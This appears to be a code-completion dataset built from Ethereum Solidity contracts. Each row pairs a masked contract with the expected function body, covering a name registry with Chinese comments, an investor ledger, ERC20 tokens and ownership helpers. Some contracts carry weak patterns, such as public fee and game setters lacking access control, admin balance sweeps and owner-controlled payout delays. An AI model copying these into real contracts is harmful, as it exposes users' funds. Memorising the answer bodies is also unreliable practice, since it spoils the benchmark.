//=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // 如果已使用名称,则要求当前的msg发件人拥有该名称 if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); // 为播放器配置文件,注册表和名称簿添加名称 plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // 注册费直接归于社区奖励 admin.transfer(address(this).balance); // 将玩家信息推送到游戏 if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // 火灾事件 emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // 将新玩家bool设置为true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码,则没有给出新的联盟代码,或者 // 玩家试图使用自己的pID作为联盟代码 uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // 从aff Code获取会员ID _affID = pIDxAddr_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != "" && _affCode != _name) { // 从aff Code获取会员ID _affID = pIDxName_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) public { registrationFee_ = _fee; } }
// 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 过滤器名称+条件检查 bytes32 _name = NameFilter.nameFilter(_nameString); // 设置地址 address _addr = msg.sender; // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码,则没有给出新的联盟代码,或者 // 玩家试图使用自己的pID作为联盟代码 if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // 更新最后一个会员 plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // 注册名称 registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable
//============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (使用这些与合同互动) //====|========================================================================= /** * @dev 注册一个名字。 UI将始终显示您注册的姓氏。 * 但您仍将拥有所有以前注册的名称以用作联属会员 * - 必须支付注册费。 * - 名称必须是唯一的 * - 名称将转换为小写 * - 名称不能以空格开头或结尾 * - 连续不能超过1个空格 * - 不能只是数字 * - 不能以0x开头 * - name必须至少为1个字符 * - 最大长度为32个字符 * - 允许的字符:a-z,0-9和空格 * -functionhash- 0x921dec21 (使用ID作为会员) * -functionhash- 0x3ddd4698 (使用联盟会员的地址) * -functionhash- 0x685ffd83 (使用联盟会员的名称) * @param _nameString 球员想要的名字 * @param _affCode 会员ID,地址或谁提到你的名字 * @param _all 如果您希望将信息推送到所有游戏,则设置为true * (这可能会耗费大量气体) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable
5996
InvestorsStorage
addInvestment
contract InvestorsStorage is Accessibility { struct Investor { uint investment; uint paymentTime; } uint public size; mapping (address => Investor) private investors; function isInvestor(address addr) public view returns (bool) { return investors[addr].investment > 0; } function investorInfo(address addr) public view returns(uint investment, uint paymentTime) { investment = investors[addr].investment; paymentTime = investors[addr].paymentTime; } function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) { Investor storage inv = investors[addr]; if (inv.investment != 0 || investment == 0) { return false; } inv.investment = investment*70/100; //5+25=30% inv.paymentTime = paymentTime; size++; return true; } function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].paymentTime = paymentTime; return true; } //Pause function disqalify(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { //investors[addr].investment = 0; investors[addr].paymentTime = now + 1 days; } } //end of Pause function disqalify2(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { //investors[addr].investment = 0; investors[addr].paymentTime = now; } } }
contract InvestorsStorage is Accessibility { struct Investor { uint investment; uint paymentTime; } uint public size; mapping (address => Investor) private investors; function isInvestor(address addr) public view returns (bool) { return investors[addr].investment > 0; } function investorInfo(address addr) public view returns(uint investment, uint paymentTime) { investment = investors[addr].investment; paymentTime = investors[addr].paymentTime; } function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) { Investor storage inv = investors[addr]; if (inv.investment != 0 || investment == 0) { return false; } inv.investment = investment*70/100; //5+25=30% inv.paymentTime = paymentTime; size++; return true; } <FILL_FUNCTION> function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].paymentTime = paymentTime; return true; } //Pause function disqalify(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { //investors[addr].investment = 0; investors[addr].paymentTime = now + 1 days; } } //end of Pause function disqalify2(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { //investors[addr].investment = 0; investors[addr].paymentTime = now; } } }
if (investors[addr].investment == 0) { return false; } investors[addr].investment += investment*70/100; //5+25=30% return true;
function addInvestment(address addr, uint investment) public onlyOwner returns (bool)
function addInvestment(address addr, uint investment) public onlyOwner returns (bool)
12926
Ownable
Ownable
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } }
contract Ownable { address public owner; <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } }
owner = msg.sender;
function Ownable() public
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public
4295
Yobitcoin
transfer
contract Yobitcoin is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "STRATOS"; symbol = "STOS🔥"; decimals = 8; _totalSupply = 30000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
contract Yobitcoin is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "STRATOS"; symbol = "STOS🔥"; decimals = 8; _totalSupply = 30000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true;
function transfer(address to, uint tokens) public returns (bool success)
function transfer(address to, uint tokens) public returns (bool success)
54578
dKore
withdraw
contract dKore is ERC20, ERC20Detailed { using SafeMath for uint; constructor () public ERC20Detailed("dK0re", "DK0RE", 18) { admin = msg.sender; addBalance(admin,5000e18); //Initial tokens for Uniswap Liquidity Pool } function() external payable { } function withdraw() external {<FILL_FUNCTION_BODY> } function getFirstBlockTime() view external returns (uint) { return(block.number - firstBlock); } }
contract dKore is ERC20, ERC20Detailed { using SafeMath for uint; constructor () public ERC20Detailed("dK0re", "DK0RE", 18) { admin = msg.sender; addBalance(admin,5000e18); //Initial tokens for Uniswap Liquidity Pool } function() external payable { } <FILL_FUNCTION> function getFirstBlockTime() view external returns (uint) { return(block.number - firstBlock); } }
require(msg.sender == admin, "!not allowed"); msg.sender.transfer(address(this).balance);
function withdraw() external
function withdraw() external
13598
ERC20
transferFrom
contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } <FILL_FUNCTION> /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
_transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true;
function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool)
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool)
57645
PCFF
PCFF
contract PCFF is StandardToken, Ownable { string public constant name = "PCFF"; string public constant symbol = "PCFF"; uint256 public constant decimals = 8; function PCFF() public {<FILL_FUNCTION_BODY> } function () public { revert(); } }
contract PCFF is StandardToken, Ownable { string public constant name = "PCFF"; string public constant symbol = "PCFF"; uint256 public constant decimals = 8; <FILL_FUNCTION> function () public { revert(); } }
owner = msg.sender; totalSupply=30000000000000000; balances[owner]=totalSupply;
function PCFF() public
function PCFF() public
18110
BurnableToken
burn
contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public {<FILL_FUNCTION_BODY> } }
contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); <FILL_FUNCTION> }
require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value);
function burn(uint256 _value) public
/** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public
73839
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, 